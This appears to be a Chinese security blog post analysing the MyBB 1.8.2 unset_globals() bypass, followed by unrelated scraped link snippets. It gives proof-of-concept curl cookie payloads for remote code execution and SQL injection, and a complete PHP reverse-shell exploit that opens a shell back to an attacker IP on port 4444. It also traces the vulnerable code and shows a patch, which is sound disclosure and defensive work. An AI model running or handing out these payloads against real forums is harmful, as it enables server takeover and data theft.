catalogue

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

MyBB's unset_globals() function can be bypassed under special conditions and it is possible to allows remote code execution.

Relevant Link:

https://cxsecurity.com/issue/WLB-2015120164
https://packetstormsecurity.com/files/134833/MyBB-1.8.2-Code-Execution.html
https://www.exploit-db.com/exploits/35323/

2. 漏洞触发条件

0x1: POC1

//php.ini配置
. request_order = "GP"
. register_globals = On
//remote code execution by just using curl on the command line
. curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://30.9.192.207/mybb_1802/

PHP自动化验证脚本

<?php

// Exploit Title: MyBB <= 1.8.2 Reverse Shell Exploit
// Date: 15/12/2015
// Exploit Author: ssbostan
// Vendor Homepage: http://www.mybb.com/
// Software Link: http://resources.mybb.com/downloads/mybb_1802.zip
// Version: <= 1.8.2
// Tested on: MyBB 1.8.2 $target="http://localhost/mybb1802/index.php";
$yourip="ipaddress";
$ch=curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_COOKIE, "GLOBALS=1; shutdown_functions[0][function]=exec; shutdown_functions[0][arguments][]=php%20%2Dr%20%27%24sock%3Dfsockopen%28%22$yourip%22%2C%204444%29%3Bexec%28%22%2Fbin%2Fsh%20%2Di%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27;");
curl_setopt($ch, CURLOPT_URL, $target);
curl_exec($ch);
curl_close($ch); // nc -l 4444
// php mybb-1802-core-exploit.php ?>

0x2: POC2

//php.ini
. disable_functions = ini_get
. register_globals = On
//url
. index.php?shutdown_functions[][function]=phpinfo&shutdown_functions[][arguments][]=-

0x3: POC3

//php.ini配置
. request_order = "GP"
. register_globals = On
//url
curl --cookie "GLOBALS=1; shutdown_queries[]=SQL_Inj" http://www.target/css.php
//Works on disable_functions = ini_get and register\_globals = On:
css.php?shutdown_queries[]=SQL_Inj

3. 漏洞影响范围

MyBB 1.8 <= 1.8. and MyBB 1.6 <= 1.6.

4. 漏洞代码分析

\mybb_1802\inc\class_core.php

..
// If we've got register globals on, then kill them too
/*
When PHP's register_globals configuration set on, MyBB will call unset_globals() function
all global variables registered by PHP from $_POST, $_GET, $_FILES, and $_COOKIE arrays will be destroyed.
这是MyBB做的一种安全机制,在每个PHP脚本请求的开始进行"超全局变量自动注册反向处理",抵消可能出现的register_globals导致的安全问题
*/
if(@ini_get("register_globals") == )
{
$this->unset_globals($_POST);
$this->unset_globals($_GET);
$this->unset_globals($_FILES);
$this->unset_globals($_COOKIE);
}
..
/**
* Unsets globals from a specific array.
*
* @param array The array to unset from.
*/
function unset_globals($array)
{
if(!is_array($array))
{
return;
} foreach(array_keys($array) as $key)
{
unset($GLOBALS[$key]);
unset($GLOBALS[$key]); // Double unset to circumvent the zend_hash_del_key_or_index hole in PHP <4.4.3 and <5.1.4
}
}

这个逻辑看起来好像没问题,而且是出于安全方面的考虑进行了防御性处理,但是因为PHP内核的一些特性,导致unset_globals()函数的执行能够被绕过

. 在正常情况下,通过GPC方式输入的变量,即使开启了register_globals,也会被自动进行unset $GLOBAL[$var]处理,这是MyBB自己实现了一套防御低版本PHP误开启register_globals = On的代码逻辑,这防御了本地变量覆盖的发生
. 但是存在一个特殊的变量GLOBALS,$GLOBALS超全局数组是PHP内核负责创建维护的,我们可以在程序中任意位置读写$GLOBALS['key'],PHP内核绑定了$GLOBALS数组和global symbol table之间的连接
. 如果黑客传入: foo.php?GLOBALS=,则MyBB会执行unset($GLOBALS["GLOBALS"]);这会直接导致$GLOBALS和global symbol table之间的连接
. 注意到MyBB源代码中这行代码
/*
\mybb_1802\inc\class_core.php
if(@ini_get("register_globals") == 1)
{
..
$this->unset_globals($_COOKIE);
}
黑客注入的COOKIES为: GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1
则代码逻辑会按如下执行
1. unset($GLOBALS["GLOBALS"]);
2. 则之后的unset($GLOBALS["shutdown_functions"]);就会失效,因为此时绑定已经不存在了
*/
. 此时已经绕过了MyBB原生的变量覆盖防御机制

需要注意的是,MyBB的防御框架里注意到了这个问题
\mybb_1802\inc\class_core.php

..
function __construct()
{
// Set up MyBB
$protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");
foreach($protected as $var)
{
if(isset($_REQUEST[$var]) || isset($_FILES[$var]))
{
die("Hacking attempt");
}
}
..

MyBB的本意是阻止请求参数中出现GET/POST/GLOBALS这种可能影响全局变量参数的值,但是问题在PHP中的$_REQUEST也是一个超全局变量,它的值受php.ini影响,在PHP5.3以后,request_order = "GP",也就是说,$_REQUEST只包括GET/POST中的参数,这直接导致了对COOKIES的敏感参数过滤失效,所以,黑客可以在COOKIES中放入变量覆盖攻击payload

GLOBALS=; shutdown_functions[][function]=exec; shutdown_functions[][arguments][]=php%%2Dr%%%24sock%3Dfsockopen%%$yourip%%2C%%%3Bexec%%%2Fbin%2Fsh%%2Di%%3C%%%3E%%%3E%%%%3B%;

稍微总结一下,这个利用前提条件有2种场景

. MyBB <= PHP 5.3: request_order = "GP"
. PHP 5.3 <= MyBB <= PHP 5.4: register_globals = On

理解了变量覆盖发生的前提,下一步看攻击Payload是如何构造并触发本地变量覆盖的
\mybb_1802\inc\class_core.php

//class_core.php几乎是所有页面脚本都会调用到的文件,下面的析构函数会被频繁调用
function __destruct()
{
// Run shutdown function
if(function_exists("run_shutdown"))
{
run_shutdown();
}
}

run_shutdown();
\mybb_1802\inc\functions.php

/**
* Runs the shutdown items after the page has been sent to the browser.
*
*/
function run_shutdown()
{
//the $shutdown_functions was initialized via add\_shutdown() function in init.php
//但是因为本地变量覆盖漏洞的存在,这里$shutdown_functions可以被劫持
global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb; if($done_shutdown == true || !$config || (isset($error_handler) && $error_handler->has_errors))
{
return;
}
..
// Run any shutdown functions if we have them
if(is_array($shutdown_functions))
{
foreach($shutdown_functions as $function)
{
call_user_func_array($function['function'], $function['arguments']);
}
}
..

Relevant Link:

http://0day.today/exploit/22913

5. 防御方法

\inc\class_core.php

class MyBB {
..
function __construct()
{
// Set up MyBB
$protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");
foreach($protected as $var)
{
/*if(isset($_REQUEST[$var]) || isset($_FILES[$var]))*/
if(isset($_GET[$var]) || isset($_POST[$var]) || isset($_COOKIE[$var]) || isset($_FILES[$var]))
{
die("Hacking attempt");
}
}
..

Relevant Link:

http://blog.mybb.com/2014/11/20/mybb-1-8-3-1-6-16-released-security-releases/
http://cn.313.ninja/exploit/22913

6. 攻防思考

Copyright (c) 2016 Little5ann All rights reserved

MyBB \inc\class_core.php <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Exploit) Vulnerability的更多相关文章

  1. metasploit--exploit模块信息

    Name                                             Disclosure Date  Rank    Description ----           ...

  2. Kali linux 2016.2(Rolling)中的Exploits模块详解

    简单来将,这个Exploits模块,就是针对不同的已知漏洞的利用程序. root@kali:~# msfconsole Unable to handle kernel NULL pointer der ...

  3. 对discuz的代码分析学习(四)论坛入口文件

    只是大致分析下执行流程,主要就是取得mod参数的值,根据取值加载控制器,控制器位置在最后一行指定了. 1 )定义应用名称,加载两个必要文件 define('APPTYPEID', 2); define ...

  4. discuz 3.x 核心文件class_core.php解析

    class_core.php是discuz 3.x的核心文件,几乎所有PHP脚本都有引用此文件初始化论坛运行环境.以下解析引用3.2版discuz. line 12-15:常量定义IN_DISCUZ: ...

  5. ./upload/source/class/class_core.php

    定义了core这个类 error_reporting(E_ALL); error_reporting() 设置 PHP 的报错级别并返回当前级别.可以参考手册. define('IN_DISCUZ', ...

  6. discuz核心类库class_core的函数注释

    class discuz_core { // 数据库存储引擎 var $db = null; // 内存缓冲object var $mem = null; // 会话 object var $sess ...

  7. MyBB 18 SQL Injection Vulnerability

    <?php error_reporting(0); ?> <form method="post" action=""> Input a ...

  8. Discuz论坛黑链清理教程

    本人亲测有效,原创文章哦~~~ 论坛黑链非常的麻烦,如果你的论坛有黑链,那么对不起,百度收录了你的黑链,不会自动删除,需要你手动去清理. 什么是黑链 黑链,顾名思义,就是一些赌博网站的外链,这些黑链相 ...

  9. discuz接入七牛sdk

    自己摸索了几天,找群里面的人各种问,都没有一个人回答我,哎,国内的开源精神呢...... 需要修改有以下几个: 1.替换 /source/class/class_core.php 文件   解释:就 ...

随机推荐

  1. String PK StringBuilder,传说就是传说,只有动手实验,才能得出确定的答案

    本机测试结果如下: 大部分情况下,string 性能并不比StringBuilder差,只有特殊情况才出现差异,并非 如前面有些朋友测试的结果哪样,只要使用StringBuilder 就一定比Stri ...

  2. strlen 与 sizeof 的区别

    void ngx_time_init(void) { ngx_cached_err_log_time.len = sizeof("1970/09/28 12:00:00") - 1 ...

  3. 【python游戏编程之旅】第八篇---pygame游戏开发常用数据结构

    本系列博客介绍以python+pygame库进行小游戏的开发.有写的不对之处还望各位海涵. 上一个博客我们一起学习了pygame中冲突检测技术:http://www.cnblogs.com/msxh/ ...

  4. 将IList转换为List

     简单点说,IList<T>直接转换为List<T>可以不用考虑.IList<T>可以用至少2种方式简单的复制成List<T>:1.IList<T ...

  5. Cadence 建立封装:多个引脚于芯片内部连接的封装建立方式

    Ti 家有一种片子,型号为CSD19534Q5A.此芯片的外观样式如图: 可以看到,这个片子共有8个引脚,其中5.6.7和8这四个引脚的内部是连接在一起的. Ti 在数据手册中也介绍了封装的样式: 下 ...

  6. 怎样设置Word下次打开时跳转到上次阅读的位置

    ①我们启动Word2013,打开需要阅读的文档,当阅读完毕之后,在指定位置键入一个空格,然后按下Delete键删除,这样相当于是没有作任何更改. ②保存文档,单击文件--另存为,选择好路径,将文档保存 ...

  7. Ueditor 上传图片 如何设置只显示 本地上传

    我这个是自问自答,其实很简单.只要按照以下方式修改就可以了. 找到image.html 将以下代码 <div id="tabHeads" class="tabhea ...

  8. 使用D3绘制图表(3)--添加坐标轴和文本标签

    上一篇是曲线的绘制,这样仅仅只是有一条线,完全先是不出数据想要表现的内容,于是我们要添加坐标系,添加坐标系和画线类似. 1.还是没有变化的html页面 <!DOCTYPE html> &l ...

  9. java 中hashmap和hashtable的区别

    1.hashmap是线程不安全的,能够有key,value能有null hashtable是线程安全的,key,value不能有null

  10. git将本地代码 和服务器git@osc 上的代码 关联

    将本地代码 和服务器git@osc 上的代码 关联 要使用git 首先,你得安装一个git 下载 http://git-scm.com/downloads 安装完成后,需要简单的配置一下,打开 Git ...